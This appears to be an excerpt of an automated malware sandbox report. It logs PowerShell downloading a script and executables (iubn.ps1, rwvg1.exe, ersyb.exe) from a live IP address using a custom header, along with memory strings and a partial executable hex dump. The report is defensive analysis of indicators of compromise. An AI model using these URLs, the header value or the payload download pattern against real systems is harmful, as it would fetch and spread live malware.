30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 09:39:17 GMTETag: "2fdc00-62ab5ef921a41"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1

Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: Joe Sandbox View	IP Address: 147.45.44.131 147.45.44.131
Source: Joe Sandbox View	IP Address: 157.20.182.177 157.20.182.177

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FCNUniversityPublicCorporationOsakaJP FCNUniversityPublicCorporationOsakaJP

Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/iubn.ps1 HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/rwvg1.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.00000000055A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.0000000005405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.0000000005535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.00000000050E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000012.00000002.2245876805.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243284289.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243998198.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243454089.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244756782.0000000005023000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2245147123.0000000005013000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2246303025.0000000005013000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244961793.0000000005023000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244914010.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244902825.0000000000673000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2250944481.00000000051EA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251090158.00000000051CF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2250944481.00000000051E0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000002.2253232818.00000000051EB000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251459158.00000000051EB000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251164237.00000000051E0000.00000004.00000020.00020000.00000000.sdmp, snrj5tfq.0.cs.17.dr, 10esxhtc.dll.18.dr, 10esxhtc.0.cs.13.dr, 5swi5u3s.0.cs.15.dr	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exe
Source: csc.exe, 00000012.00000003.2244945191.00000000067C1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2246045410.0000000004F61000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2245811819.00000000008A1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2252244261.0000000005091000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exe0
Source: powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2390809221.0000000008961000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000014.00000002.2246911702.000000000067F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244771796.0000000000662000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244039822.000000000067F000.00000004.00000020.00020000.00000000.sdmp, 5swi5u3s.dll.20.dr	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exe3C
Source: csc.exe, 00000014.00000003.2243887348.0000000000673000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exeM
Source: powershell.exe, 00000011.00000002.2302627366.0000000004A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004741000.00000004.00000800.00020000.00000000.sdmp, iviewers.dll	String found in binary or memory: http://147.45.44.131/infopage/iubn.ps1
Source: powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/iubn.ps1hZ
Source: powershell.exe, 00000011.00000002.2302627366.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/rwvg1.exe
Source: powershell.exe, 0000000D.00000002.2328638623.00000000055A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.0000000005641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.448
Source: powershell.exe, 0000000F.00000002.2279154192.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.448&2b
Source: powershell.exe, 0000000E.00000002.2277511320.000000000576B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.448JP
Source: powershell.exe, 0000000E.00000002.2331414790.0000000007B71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000D.00000002.2421701285.0000000007AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro%W
Source: RegAsm.exe, 0000001A.00000002.4689050924.0000000005910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 0000001A.00000002.4689050924.0000000005910000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.26.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 0000000D.00000002.2389566237.000000000631A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000644A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.2328638623.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004741000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2277222027.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2277704575.0000000002891000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.2304100518.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: powershell.exe, 0000000D.00000002.2328638623.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
